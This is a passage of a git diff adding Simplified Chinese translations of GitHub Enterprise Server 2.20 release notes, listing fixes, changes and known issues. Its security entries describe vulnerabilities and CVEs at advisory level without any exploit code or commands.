'在存储库分支上,存储库管理员可以使用[分支保护规则](https://help.github.com/en/github/administering-a-repository/enabling-branch-restrictions)启用“需要线性历史记录”,从而拒绝包含合并提交的任何推送。{% comment %} https://github.blog/changelog/2019-12-04-expanded-branch-protection-rules/ {% endcomment %}' + - '存储库管理员可以使用[分支保护规则](https://help.github.com/en/github/administering-a-repository/enabling-branch-restrictions)启用“允许强制推送”,从而授予所有用户强制推送到受保护的分支的能力。{% comment %} https://github.blog/changelog/2019-12-04-expanded-branch-protection-rules/、https://github.com/github/ce-oss-happiness/issues/42、https://github.com/github/github/pull/125950 {% endcomment %}' + - '存储库管理员可以使用[分支保护规则](https://help.github.com/en/github/administering-a-repository/enabling-branch-restrictions)启用“允许删除”,从而授予所有具有推送权限的用户删除受保护分支的能力。{% comment %} https://github.blog/changelog/2019-12-04-expanded-branch-protection-rules/ {% endcomment %}' + - '管理员可以在存储库上设置 `maxobjectsize` 限制、对不在 [Git LFS](https://help.github.com/en/enterprise/admin/installation/configuring-git-large-file-storage-on-github-enterprise-server) 中的存储库[限制推送提交的大小](https://help.github.com/en/enterprise/admin/installation/setting-git-push-limits)。{% comment %} https://github.com/github/babeld/pull/864、https://team.githubapp.com/posts/33519、https://github.com/githubcustomers/Slack/issues/27 {% endcomment %}' + - '组织所有者在创建新存储库时可以创建一组默认标签。{% comment %} https://github.com/github/issues-projects/issues/237、https://github.com/github/issues-projects/issues/179 {% endcomment %}' + security_fixes: + - 包已更新到最新的安全版本。 + bugs: + - '当组织的成员尝试查看该组织的公共存储库时,SSO 提示可能会中断页面显示。{% comment %} https://github.com/github/github/issues/126677、https://github.com/github/github/pull/127501 {% endcomment %}' + - "查看用户配置文件时,指向该用户团队的链接可能会断开。{% comment %} https://github.com/github/github/issues/131771、https://github.com/github/github/pull/131865 {% endcomment %}" + - '具有 `maintain` 角色的用户无法编辑存储库主题。{% comment %} https://github.com/github/github/pull/129503、https://github.com/github/github/issues/119456 {% endcomment %}' + - "不是组织管理员的用户在尝试访问注册页面时将收到 500 个错误。{% comment %} https://github.com/github/github/pull/129213、https://github.com/github/github/issues/129210、https://github.com/github/github/issues/129212 {% endcomment %}" + - '编辑历史记录弹出窗口不会显示在 Gist 注释上。{% comment %} https://github.com/github/github/pull/129134、https://github.com/github/github/issues/128496 {% endcomment %}' + - '使用已注册的电子邮件地址可以注册新帐户。{% comment %} https://github.com/github/github/pull/127905、https://github.com/github/github/issues/127858 {% endcomment %}' + - '存储服务达到文件描述符限制,并导致内核挂起和其他服务记录错误。{% comment %} https://github.com/github/enterprise2/pull/18775 {% endcomment %}' + - '当自动链接引用是 URL 的一部分时,可以删除超链接。{% comment %} https://github.com/github/github/pull/126776 {% endcomment %}' + - '向拉取请求添加注释时,侧边栏中的“链接的议题”部分可能会消失。{% comment %} https://github.com/github/issues-projects/issues/384、https://github.com/github/github/pull/130514 {% endcomment %}' + - '编辑用户的现有组织邀请时,`Teams` 表上可能会显示重复的标头。{% comment %} https://github.com/github/github/issues/120381、https://github.com/github/github/pull/128939 {% endcomment %}' + - '当队列变得太大时,`resqued` 服务可能会停止记录事件。{% comment %} https://github.com/github/github/pull/130087、https://github.com/github/business-support/issues/2696 {% endcomment %}' + - '对于群集和高可用性配置运行 `ghe-config-apply` 命令时,不会自动生成自签名证书。{% comment %} https://github.com/github/enterprise2/pull/18773 {% endcomment %}' + changes: + - '如果尚未上传主题,则不会显示徽标。{% comment %} https://github.com/github/github/issues/130513、https://github.com/github/github/pull/130515 {% endcomment %}' + - '在移动浏览器上查看问题时,问题元数据将列在页面顶部。{% comment %} https://github.com/github/github/pull/127560 {% endcomment %}' + - 'Consul 的顶级域已从“.consul”更改为“.ghe.local”。{% comment %} https://github.com/github/enterprise2/pull/17443、https://github.com/github/enterprise2/issues/17701 {% endcomment %}' + - 'Hookshot 服务不再依赖 ElasticSearch,只能使用 MySQL 作为数据库存储。{% comment %} https://github.com/github/enterprise2/pull/18158、https://github.com/github/hookshot/pull/1128、https://github.com/github/enterprise2/pull/15898 {% endcomment %}' + - '在项目说明卡上改进了问题、项目及讨论之间的视觉区分。{% comment %} https://github.com/github/github/pull/132038 {% endcomment %}' + - '在拉取请求审阅中,如果多行注释被截断,将显示通知。{% comment %} https://github.com/github/github/issues/125948、https://github.com/github/github/pull/128677 {% endcomment %}' + - '用户可以在个人设置页面的“安全日志”选项卡上查看其审核日志。{% comment %} https://github.com/github/github/pull/123041{% endcomment %}' + known_issues: + - '在新建的没有任何用户的 GitHub Enterprise Server 上,攻击者可以创建第一个管理员用户。{% comment %} https://github.com/github/enterprise2/issues/1889 {% endcomment %}' + - '在升级期间不会维护自定义防火墙规则。{% comment %} https://github.com/github/enterprise2/issues/2823 {% endcomment %}' + - '[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories)的 Git LFS 跟踪文件被错误地直接添加到存储库。{% comment %} https://github.com/github/github/issues/54684 {% endcomment %}' + - '如果问题包含同一存储库中文件路径长于 255 个字符的 blob 的永久链接,则问题无法关闭。{% comment %} https://github.com/github/github/issues/107731 {% endcomment %}' + - '推送到 Gist 时,可能会在后接收挂钩期间触发异常。{% comment %} https://github.com/github/github/issues/129091 {% endcomment %}' + - "数据库中重复的 Webhook 条目可能会导致从早期版本的升级失败。(更新时间:2020-02-26)" + - '如果自定义了后台工作进程配置,则升级和设置更新将失败。{% comment %} https://github.com/github/enterprise2/issues/19119 {% endcomment %}' + - '在 GitHub Connect 中启用了“用户可以搜索 GitHub.com”时,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。{% comment %} https://github.com/github/admin-experience/issues/571 {% endcomment %}' + - '从早期版本升级时,可能无法生成后台作业工作进程,从而阻止合并拉取请求等基本功能。(更新时间:2020-04-07){% comment %} https://github.com/github/enterprise2/issues/19232 {% endcomment %}' + - '推送到命令行上的存储库时,不会报告安全警报。(更新时间:2020-06-23){% comment %} https://github.com/github/github/issues/143190 {% endcomment %}' + - '依赖项关系图在具有多个 Redis 节点的群集配置中部署时不会检测依赖项。(更新时间:2020-06-30){% comment %} https://github.com/github/dependency-graph/issues/81 {% endcomment %}' + - '当副本节点在高可用性配置下离线时,{% data variables.product.product_name %} 仍可能将 {% data variables.product.prodname_pages %} 请求路由到离线节点,从而减少用户的 {% data variables.product.prodname_pages %} 可用性。' diff --git a/translations/zh-CN/data/release-notes/enterprise-server/2-20/1.yml b/translations/zh-CN/data/release-notes/enterprise-server/2-20/1.yml new file mode 100644 index 0000000000..3a318e0188 --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/2-20/1.yml @@ -0,0 +1,21 @@ +date: '2020-02-27' +sections: + security_fixes: + - '包已更新到最新的安全版本。{% comment %} https://github.com/github/enterprise2/pull/19116, https://github.com/github/enterprise2/pull/19110, https://github.com/github/enterprise2/pull/19154, https://github.com/github/enterprise2/pull/19142 {% endcomment %}' + bugs: + - '从备份还原将会失败,并显示“RDB 版本号无效”错误。{% comment %} https://github.com/github/enterprise2/pull/19117, https://github.com/github/enterprise2/pull/19109 {% endcomment %}' + - '升级 HA 副本将停止无限期等待 MySQL 启动。{% comment %} https://github.com/github/enterprise2/pull/19168, https://github.com/github/enterprise2/pull/19101 {% endcomment %}' + - '具有意外“position”或“original_position”值的 PR 审核评论导致导入失败。{% comment %} https://github.com/github/github/pull/135439, https://github.com/github/github/pull/135374 {% endcomment %}' + - '数据库中重复的 Webhook 条目可能导致先前版本的升级失败。{% comment %} https://github.com/github/hookshot/pull/1541, https://github.com/github/hookshot/pull/1426, https://github.com/github/hookshot/pull/1540 {% endcomment %}' + known_issues: + - '在没有任何用户的新建 GitHub Enterprise Server 上,攻击者可能创建第一个管理员用户。{% comment %} https://github.com/github/enterprise2/issues/1889 {% endcomment %}' + - '自定义防火墙规则在升级期间没有维护。{% comment %} https://github.com/github/enterprise2/issues/2823 {% endcomment %}' + - '[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories)的 Git LFS 跟踪文件被错误地直接添加到存储库。{% comment %} https://github.com/github/github/issues/54684 {% endcomment %}' + - '问题若是包含同一存储库中文件路径长于 255 个字符的 blob 的永久链接,则无法关闭。{% comment %} https://github.com/github/github/issues/107731 {% endcomment %}' + - '推送到 Gist 时,可能会在后接收挂钩时触发异常。{% comment %} https://github.com/github/github/issues/129091 {% endcomment %}' + - '如果自定义了后台工作进程配置,则升级和设置更新将失败。{% comment %} https://github.com/github/enterprise2/issues/19119 {% endcomment %}' + - '在 GitHub Connect 中启用了“用户可以搜索 GitHub.com”时,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。{% comment %} https://github.com/github/admin-experience/issues/571 {% endcomment %}' + - '从早期版本升级时,可能无法生成后台作业工作进程,从而阻止合并拉取请求等基本功能。(更新时间:2020-04-07){% comment %} https://github.com/github/enterprise2/issues/19232 {% endcomment %}' + - '推送到命令行上的存储库时,不会报告安全警报。(更新时间于 2020-06-23){% comment %} https://github.com/github/github/issues/143190 {% endcomment %}' + - '依赖项关系图在具有多个 Redis 节点的群集配置中部署时不会检测依赖项。(更新时间时间:2020-06-30){% comment %} https://github.com/github/dependency-graph/issues/81 {% endcomment %}' + - '当副本节点在高可用性配置下离线时,{% data variables.product.product_name %} 仍可能将 {% data variables.product.prodname_pages %} 请求路由到离线节点,从而减少用户的 {% data variables.product.prodname_pages %} 可用性。' diff --git a/translations/zh-CN/data/release-notes/enterprise-server/2-20/10.yml b/translations/zh-CN/data/release-notes/enterprise-server/2-20/10.yml new file mode 100644 index 0000000000..2dc1fa1665 --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/2-20/10.yml @@ -0,0 +1,21 @@ +date: '2020-06-23' +sections: + security_fixes: + - '包已更新到最新的安全版本。{% comment %} https://github.com/github/enterprise2/pull/20746, https://github.com/github/enterprise2/pull/20727 {% endcomment %}' + bugs: + - '当使用 UDP 作为传输机制时,过大的日志事件可能导致日志转发不稳定。{% comment %} https://github.com/github/enterprise2/pull/20457, https://github.com/github/enterprise2/pull/20445 {% endcomment %}' + - "如果 SSH 密钥属性具有已与用户帐户关联的密钥,则用户通过 SSO 进行的自动取消暂停未完成。 {% comment %} https://github.com/github/github/pull/143474, https://github.com/github/github/pull/142927 {% endcomment %}" + - '来自 REST API 的仓库权限哈希表示,对于可拉取访问内部仓库的业务成员,无法访问仓库。 {% comment %} https://github.com/github/github/pull/144755, https://github.com/github/github/pull/144292 {% endcomment %}' + - '预览 Markdown 中写入的 GitHub 应用程序描述未正确呈现。{% comment %} https://github.com/github/github/pull/145038, https://github.com/github/github/pull/133360 {% endcomment %}' + - '审核日志不包括分支保护更改事件。 {% comment %} https://github.com/github/github/pull/145995, https://github.com/github/github/pull/145014 {% endcomment %}' + - "尝试将代码审核分配给空团队成员将导致“500内部服务器错误”。 {% comment %} https://github.com/github/github/pull/146328, https://github.com/github/github/pull/139330 {% endcomment %}" + - '使用负载平衡算法的代码审核分配可能反复分配给同一团队成员。{% comment %} https://github.com/github/github/pull/146329, https://github.com/github/github/pull/136504 {% endcomment %}' + known_issues: + - '在没有任何用户的新建 GitHub Enterprise Server 上,攻击者可能创建第一个管理员用户。{% comment %} https://github.com/github/enterprise2/issues/1889 {% endcomment %}' + - '自定义防火墙规则在升级期间没有维护。{% comment %} https://github.com/github/enterprise2/issues/2823 {% endcomment %}' + - 'Git LFS 跟踪的文件[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories) 被错误地直接添加到仓库。{% comment %} https://github.com/github/github/issues/54684 {% endcomment %}' + - '议题若是包含同一仓库中文件路径长于 255 个字符的 blob 的永久链接,则无法关闭。 {% comment %} https://github.com/github/github/issues/107731 {% endcomment %}' + - '在 GitHub Connect 中启用了“用户可以搜索 GitHub.com”时,私有和内部仓库中的议题不包括在 GitHub.com 搜索结果中。{% comment %} https://github.com/github/admin-experience/issues/571 {% endcomment %}' + - '推送到命令行上的仓库时,不会报告安全警报。{% comment %} https://github.com/github/github/issues/143190 {% endcomment %}' + - '依赖项关系图在多个 Redis 节点的群集配置中部署时不会检测依赖项。(更新于 2020-06-30){% comment %} https://github.com/github/dependency-graph/issues/81 {% endcomment %}' + - '当副本节点在高可用性配置下离线时,{% data variables.product.product_name %} 仍可能将 {% data variables.product.prodname_pages %} 请求路由到离线节点,从而减少用户的 {% data variables.product.prodname_pages %} 可用性。' diff --git a/translations/zh-CN/data/release-notes/enterprise-server/2-20/11.yml b/translations/zh-CN/data/release-notes/enterprise-server/2-20/11.yml new file mode 100644 index 0000000000..9e09ac9a05 --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/2-20/11.yml @@ -0,0 +1,19 @@ +date: '2020-07-09' +sections: + security_fixes: + - '**中:** 将 nginx 更新到 1.16.1 并解决了 CV-2019-20372。(更新于 2020-07-22){% comment %} https://github.com/github/enterprise2/pull/21251 {% endcomment %}' + - '包已更新到最新的安全版本。{% comment %} https://github.com/github/enterprise2/pull/21088, https://github.com/github/enterprise2/pull/21036 {% endcomment %}' + bugs: + - '依赖项关系图在多个 Redis 节点的群集配置中部署时不会检测依赖项。{% comment %} https://github.com/github/enterprise2/pull/21260, https://github.com/github/enterprise2/pull/21102 {% endcomment %}' + - '某些日志文件没有每 7 天轮换一次。 {% comment %} https://github.com/github/enterprise2/pull/21278, https://github.com/github/enterprise2/pull/21264 {% endcomment %}' + - '快速重新使用 web 挂钩源端口导致拒绝连接。 {% comment %} https://github.com/github/enterprise2/pull/21289 {% endcomment %}' + - '不正确的背景作业可能尝试在配置为被动副本的实例上运行。{% comment %} https://github.com/github/enterprise2/pull/21318, https://github.com/github/enterprise2/pull/21212, https://github.com/github/enterprise2/issues/21167 {% endcomment %}' + - '内部仓库未正确地包含在启用 SAML 的组织的搜索结果中。 {% comment %} https://github.com/github/github/pull/147503, https://github.com/github/github/pull/145692 {% endcomment %}' + known_issues: + - '在没有任何用户的新建 GitHub Enterprise Server 上,攻击者可能创建第一个管理员用户。{% comment %} https://github.com/github/enterprise2/issues/1889 {% endcomment %}' + - '自定义防火墙规则在升级期间没有维护。{% comment %} https://github.com/github/enterprise2/issues/2823 {% endcomment %}' + - 'Git LFS 跟踪的文件[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories) 被错误地直接添加到仓库。{% comment %} https://github.com/github/github/issues/54684 {% endcomment %}' + - '议题若是包含同一仓库中文件路径长于 255 个字符的 blob 的永久链接,则无法关闭。 {% comment %} https://github.com/github/github/issues/107731 {% endcomment %}' + - '在 GitHub Connect 中启用了“用户可以搜索 GitHub.com”时,私有和内部仓库中的议题不包括在 GitHub.com 搜索结果中。{% comment %} https://github.com/github/admin-experience/issues/571 {% endcomment %}' + - '推送到命令行上的仓库时,不会报告安全警报。{% comment %} https://github.com/github/github/issues/143190 {% endcomment %}' + - '当副本节点在高可用性配置下离线时,{% data variables.product.product_name %} 仍可能将 {% data variables.product.prodname_pages %} 请求路由到离线节点,从而减少用户的 {% data variables.product.prodname_pages %} 可用性。' diff --git a/translations/zh-CN/data/release-notes/enterprise-server/2-20/12.yml b/translations/zh-CN/data/release-notes/enterprise-server/2-20/12.yml new file mode 100644 index 0000000000..c370c177fb --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/2-20/12.yml @@ -0,0 +1,17 @@ +date: '2020-07-21' +sections: + security_fixes: + - '包已更新到最新的安全版本。{% comment %} https://github.com/github/enterprise2/pull/21437, https://github.com/github/enterprise2/pull/21402, https://github.com/github/enterprise2/pull/21495, https://github.com/github/enterprise2/pull/21479 {% endcomment %}' + bugs: + - '管理控制台监视图有时无法在更大的屏幕上正确显示。 {% comment %} https://github.com/github/enterprise2/pull/21397, https://github.com/github/enterprise2/pull/21381 {% endcomment %}' + - '应用 SameSite Cookie 策略时,GitHub 应用程序清单创建流在某些情况下无法使用。 {% comment %} https://github.com/github/github/pull/147826, https://github.com/github/github/pull/144121 {% endcomment %}' + changes: + - '改进 HAProxy 缩放。 {% comment %} https://github.com/github/enterprise2/pull/21383 {% endcomment %}' + known_issues: + - '在没有任何用户的新建 GitHub Enterprise Server 上,攻击者可能创建第一个管理员用户。{% comment %} https://github.com/github/enterprise2/issues/1889 {% endcomment %}' + - '自定义防火墙规则在升级期间没有维护。{% comment %} https://github.com/github/enterprise2/issues/2823 {% endcomment %}' + - 'Git LFS 跟踪的文件[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories) 被错误地直接添加到仓库。{% comment %} https://github.com/github/github/issues/54684 {% endcomment %}' + - '议题若是包含同一仓库中文件路径长于 255 个字符的 blob 的永久链接,则无法关闭。 {% comment %} https://github.com/github/github/issues/107731 {% endcomment %}' + - '在 GitHub Connect 中启用了“用户可以搜索 GitHub.com”时,私有和内部仓库中的议题不包括在 GitHub.com 搜索结果中。{% comment %} https://github.com/github/admin-experience/issues/571 {% endcomment %}' + - '推送到命令行上的仓库时,不会报告安全警报。{% comment %} https://github.com/github/github/issues/143190 {% endcomment %}' + - '当副本节点在高可用性配置下离线时,{% data variables.product.product_name %} 仍可能将 {% data variables.product.prodname_pages %} 请求路由到离线节点,从而减少用户的 {% data variables.product.prodname_pages %} 可用性。' diff --git a/translations/zh-CN/data/release-notes/enterprise-server/2-20/13.yml b/translations/zh-CN/data/release-notes/enterprise-server/2-20/13.yml new file mode 100644 index 0000000000..cf56d4e79f --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/2-20/13.yml @@ -0,0 +1,22 @@ +date: '2020-08-11' +sections: + security_fixes: + - '{% octicon "alert" aria-label="The alert icon" %} **关键:**在 GitHub Pages 中发现了一个远程执行代码漏洞,攻击者可利用该漏洞在构建 GitHub Pages 站点的过程中执行命令。此问题是由于在 Pages 构建过程中使用过时且易受攻击的依赖项造成的。要利用此漏洞,攻击者需要获得在 GitHub Enterprise Server 实例上创建和构建 GitHub Pages 站点的权限。 此漏洞影响 GitHub Enterprise Server 的所有版本。为了缓解此漏洞,Kramdown 已更新以解决 CVE-2020-14001。{% comment %} https://github.com/github/pages/pull/2836, https://github.com/github/pages/pull/2827 {% endcomment %}' + - '**高:**在 GitHub Enterprise Server 上执行时,攻击者可以将恶意参数注入 Git 子命令。这可能使攻击者能够使用用户控制的部分内容覆盖任意文件,并可能在 GitHub Enterprise Server 实例上执行任意命令。要利用此漏洞,攻击者需要获得访问 GitHub Enterprise Server 实例中存储库的权限。但是,由于存在其他保护措施,我们无法确定积极利用此漏洞的方法。此漏洞通过 GitHub 安全 Bug 悬赏计划报告。{% comment %} https://github.com/github/github/pull/151097 {% endcomment %}' + - '包已更新到最新的安全版本。{% comment %} https://github.com/github/enterprise2/pull/21811, https://github.com/github/enterprise2/pull/21700 {% endcomment %}' + bugs: + - 'Consul 配置错误导致无法在独立实例上处理某些后台作业。{% comment %} https://github.com/github/enterprise2/pull/21464 {% endcomment %}' + - '服务内存分配计算可能会将不正确或无限制的内存分配给某项服务,从而导致系统性能下降。{% comment %} https://github.com/github/enterprise2/pull/21716 {% endcomment %}' + - '未正确检测到 oVirt KVM 系统的虚拟化平台,导致升级过程中出现问题。{% comment %} https://github.com/github/enterprise2/pull/21730, https://github.com/github/enterprise2/pull/21669 {% endcomment %}' + - "通过 Git 命令行使用密码进行无效身份验证的错误消息未填充 URL 链接以添加适当的令牌或 SSH 密钥。{% comment %} https://github.com/github/github/pull/149714 {% endcomment %}" + - 'GitHub Connect 使用的是已弃用的 GitHub.com API 终结点。{% comment %} https://github.com/github/github/pull/150828, https://github.com/github/github/pull/150545 {% endcomment %}' + - '在迁移到新实例的存储库上,无法按 *最近更新* 对问题进行排序。{% comment %} https://github.com/github/github/pull/150843, https://github.com/github/github/pull/149330 {% endcomment %}' + - '404 页面的页脚中包含 GitHub.com 联系人和状态链接。{% comment %} https://github.com/github/github/pull/151316 {% endcomment %}' + known_issues: + - '在没有任何用户的新建 GitHub Enterprise Server 上,攻击者可以创建第一个管理员用户。{% comment %} https://github.com/github/enterprise2/issues/1889 {% endcomment %}' + - '在升级期间不会维护自定义防火墙规则。{% comment %} https://github.com/github/enterprise2/issues/2823 {% endcomment %}' + - 'Git LFS 跟踪的[通过 Web 界面上传的](https://github.com/blog/2105-upload-files-to-your-repositories)文件被错误地直接添加到存储库。{% comment %} https://github.com/github/github/issues/54684 {% endcomment %}' + - '如果问题包含指向同一存储库中文件路径长于 255 个字符的 blob 的永久链接,则无法关闭。{% comment %} https://github.com/github/github/issues/107731 {% endcomment %}' + - '在 GitHub Connect 中启用了“用户可以搜索 GitHub.com”时,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。{% comment %} https://github.com/github/admin-experience/issues/571 {% endcomment %}' + - '在命令行上推送到存储库时不会报告安全警报。{% comment %} https://github.com/github/github/issues/143190 {% endcomment %}' + - '当副本节点在高可用性配置中脱机时,{% data variables.product.product_name %} 仍可能将 {% data variables.product.prodname_pages %} 请求路由到脱机节点,从而减少用户的 {% data variables.product.prodname_pages %} 可用性。' diff --git a/translations/zh-CN/data/release-notes/enterprise-server/2-20/14.yml b/translations/zh-CN/data/release-notes/enterprise-server/2-20/14.yml new file mode 100644 index 0000000000..048b4bdd5c --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/2-20/14.yml @@ -0,0 +1,13 @@ +date: '2020-08-12' +sections: + bugs: + - '解决了在生成系统配置模板时可能导致高 CPU 使用率的问题。{% comment %} https://github.com/github/enterprise2/pull/21784、https://github.com/github/enterprise2/pull/21741 {% endcomment %}' + - '最近对内存分配的更改可能导致系统性能降低 {% comment %} https://github.com/github/enterprise2/pull/22067 {% endcomment %}' + known_issues: + - '在新建的没有任何用户的 GitHub Enterprise Server 上,攻击者可以创建第一个管理员用户。{% comment %} https://github.com/github/enterprise2/issues/1889 {% endcomment %}' + - '在升级期间不会维护自定义防火墙规则。{% comment %} https://github.com/github/enterprise2/issues/2823 {% endcomment %}' + - '[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories)的 Git LFS 跟踪文件被错误地直接添加到存储库。{% comment %} https://github.com/github/github/issues/54684 {% endcomment %}' + - '如果问题包含同一存储库中文件路径长于 255 个字符的 blob 的永久链接,则问题无法关闭。{% comment %} https://github.com/github/github/issues/107731 {% endcomment %}' + - '在 GitHub Connect 中启用了“用户可以搜索 GitHub.com”时,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。{% comment %} https://github.com/github/admin-experience/issues/571 {% endcomment %}' + - '在命令行上推送到存储库时不会报告安全警报。{% comment %} https://github.com/github/github/issues/143190 {% endcomment %}' + - '当副本节点在高可用性配置下离线时,{% data variables.product.product_name %} 仍可能将 {% data variables.product.prodname_pages %} 请求路由到离线节点,从而减少用户的 {% data variables.product.prodname_pages %} 可用性。' diff --git a/translations/zh-CN/data/release-notes/enterprise-server/2-20/15.yml b/translations/zh-CN/data/release-notes/enterprise-server/2-20/15.yml new file mode 100644 index 0000000000..6f77348851 --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/2-20/15.yml @@ -0,0 +1,23 @@ +date: '2020-08-26' +sections: + security_fixes: + - >{% octicon "alert" aria-label="The alert icon" %} **严重:**在 GitHub Pages 中发现了一个在构建 GitHub Pages 站点时可能会被利用的远程执行代码漏洞。GitHub Pages 使用的基础分析器的用户控制配置没有受到足够的限制,因此可以在 GitHub Enterprise Server 实例上执行命令。要利用此漏洞,攻击者需要获得在 GitHub Enterprise Server 实例上创建和构建 GitHub Pages 站点的权限。此漏洞影响 GitHub Enterprise Server 的所有版本。导致该漏洞的潜在问题已在内部并通过 GitHub 安全 Bug 赏金计划确定。我们已发布 CVE-2020-10518。{% comment %} https://github.com/github/pages/pull/2883, https://github.com/github/pages/pull/2902, https://github.com/github/pages/pull/2894, https://github.com/github/pages/pull/2877, https://github.com/github/pages-gem/pull/700, https://github.com/github/pages/pull/2890, https://github.com/github/pages/pull/2898, https://github.com/github/pages/pull/2909, https://github.com/github/pages/pull/2891, https://github.com/github/pages/pull/2884, https://github.com/github/pages/pull/2889 {% endcomment %}> + - '**中:**发现了一个不适当的访问控制漏洞,该漏洞允许经过身份验证的实例用户根据其数字 ID 确定未经授权的专用存储库的名称。此漏洞不允许对除名称外的任何存储库内容进行未经授权的访问。此漏洞影响 2.22 之前的所有 GitHub Enterprise Server 版本,编号为 [CVE-2020-10517](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-10517)。此漏洞通过 [GitHub Bug 赏金计划](https://bounty.github.com) 报告。{% comment %} https://github.com/github/github/pull/151987, https://github.com/github/github/pull/151713 {% endcomment %}' + - '包已更新到最新的安全版本。{% comment %} https://github.com/github/enterprise2/pull/21852, https://github.com/github/enterprise2/pull/21828, https://github.com/github/enterprise2/pull/22153, https://github.com/github/enterprise2/pull/21920, https://github.com/github/enterprise2/pull/22215, https://github.com/github/enterprise2/pull/22190 {% endcomment %}' + bugs: + - '当 ghe-config-apply process 进程运行完 ghe-es-auto-expand 时,消息未记录。{% comment %} https://github.com/github/enterprise2/pull/22177, https://github.com/github/enterprise2/pull/22171 {% endcomment %}' + - '如果主要设备不可用,则可能会在高可用性副本上过多记录到 `syslog` 文件。{% comment %} https://github.com/github/enterprise2/pull/22267, https://github.com/github/enterprise2/pull/22124 {% endcomment %}' + - "副本上的数据库种子重新设定可能会失败,并显示错误:“获取的数据包大于 'max_allowed_packet'”{% comment %} https://github.com/github/enterprise2/pull/22321, https://github.com/github/enterprise2/pull/20063 {% endcomment %}" + - '在某些情况下,重复的用户数据可能在运行 ghe-license-usage 脚本时造成 500 错误。{% comment %} https://github.com/github/github/pull/152638 {% endcomment %}' + changes: + - '在高可用性或地理复制配置中,副本实例在 ghe-config-apply 运行时会退出维护模式。{% comment %} https://github.com/github/enterprise2/pull/21776, https://github.com/github/enterprise2/pull/21440 {% endcomment %}' + - "我们添加了对 R5a 和 R5n AWS 实例类型的支持。{% comment %} https://github.com/github/enterprise2/pull/21902, https://github.com/github/enterprise2/pull/21173 {% endcomment %}" + - '由于影响 GitHub Enterprise Server 群集的性能问题,删除了管理 SSH MOTD 上的许可证席位计数信息。{% comment %} https://github.com/github/enterprise2/pull/21993, https://github.com/github/enterprise2/pull/21870 {% endcomment %}' + known_issues: + - '在新建的没有任何用户的 GitHub Enterprise Server 上,攻击者可以创建第一个管理员用户。{% comment %} https://github.com/github/enterprise2/issues/1889 {% endcomment %}' + - '在升级期间不会维护自定义防火墙规则。{% comment %} https://github.com/github/enterprise2/issues/2823 {% endcomment %}' + - 'Git LFS 跟踪的[通过 Web 界面上传的](https://github.com/blog/2105-upload-files-to-your-repositories)文件被错误地直接添加到存储库。{% comment %} https://github.com/github/github/issues/54684 {% endcomment %}' + - '如果问题包含同一存储库中文件路径长于 255 个字符的 blob 的永久链接,则问题无法关闭。{% comment %} https://github.com/github/github/issues/107731 {% endcomment %}' + - '在 GitHub Connect 中启用了“用户可以搜索 GitHub.com”时,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。{% comment %} https://github.com/github/admin-experience/issues/571 {% endcomment %}' + - '在命令行上推送到存储库时不会报告安全警报。{% comment %} https://github.com/github/github/issues/143190 {% endcomment %}' + - '当副本节点在高可用性配置下离线时,{% data variables.product.product_name %} 仍可能将 {% data variables.product.prodname_pages %} 请求路由到离线节点,从而减少用户的 {% data variables.product.prodname_pages %} 可用性。' diff --git a/translations/zh-CN/data/release-notes/enterprise-server/2-20/16.yml b/translations/zh-CN/data/release-notes/enterprise-server/2-20/16.yml new file mode 100644 index 0000000000..fa27d40c7b --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/2-20/16.yml @@ -0,0 +1,13 @@ +date: '2020-09-08' +sections: + bugs: + - '服务运行状况检查会造成会话增加,从而耗尽文件系统 Inode。{% comment %} https://github.com/github/enterprise2/pull/22480, https://github.com/github/enterprise2/pull/22475 {% endcomment %}' + - "使用热补丁的升级可能会失败,并显示错误:`'libdbi1' was not found` {% comment %} https://github.com/github/enterprise2/pull/22558,https://github.com/github/enterprise2/pull/22552 {% endcomment %}" + known_issues: + - '在没有任何用户的新建 GitHub Enterprise Server 上,攻击者可以创建第一个管理员用户。{% comment %} https://github.com/github/enterprise2/issues/1889 {% endcomment %}' + - '在升级期间不会维护自定义防火墙规则。{% comment %} https://github.com/github/enterprise2/issues/2823 {% endcomment %}' + - 'Git LFS 跟踪的[通过 Web 界面上传的](https://github.com/blog/2105-upload-files-to-your-repositories)文件被错误地直接添加到存储库。{% comment %} https://github.com/github/github/issues/54684 {% endcomment %}' + - '如果问题包含指向同一存储库中文件路径长于 255 个字符的 blob 的永久链接,则无法关闭。{% comment %} https://github.com/github/github/issues/107731 {% endcomment %}' + - '在 GitHub Connect 中启用了“用户可以搜索 GitHub.com”时,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。{% comment %} https://github.com/github/admin-experience/issues/571 {% endcomment %}' + - '在命令行上推送到存储库时不会报告安全警报。{% comment %} https://github.com/github/github/issues/143190 {% endcomment %}' + - '当副本节点在高可用性配置中脱机时,{% data variables.product.product_name %} 仍可能将 {% data variables.product.prodname_pages %} 请求路由到脱机节点,从而减少用户的 {% data variables.product.prodname_pages %} 可用性。' diff --git a/translations/zh-CN/data/release-notes/enterprise-server/2-20/17.yml b/translations/zh-CN/data/release-notes/enterprise-server/2-20/17.yml new file mode 100644 index 0000000000..39d615a7f2 --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/2-20/17.yml @@ -0,0 +1,13 @@ +date: '2020-09-23' +sections: + security_fixes: + - '中****:ImageMagick 已更新,以解决 [DSA-4715-1](https://www.debian.org/security/2020/dsa-4715)。{% comment %} https://github.com/github/enterprise2/pull/22625, https://github.com/github/enterprise2/pull/22610 {% endcomment %}' + - '包已更新到最新安全版本。{% comment %} 